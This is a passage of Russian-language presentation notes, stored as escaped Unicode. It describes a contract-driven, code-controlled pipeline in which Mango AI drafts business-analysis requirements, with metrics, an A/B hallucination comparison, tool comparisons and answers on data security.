\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e 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\u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e 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\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f 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\u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 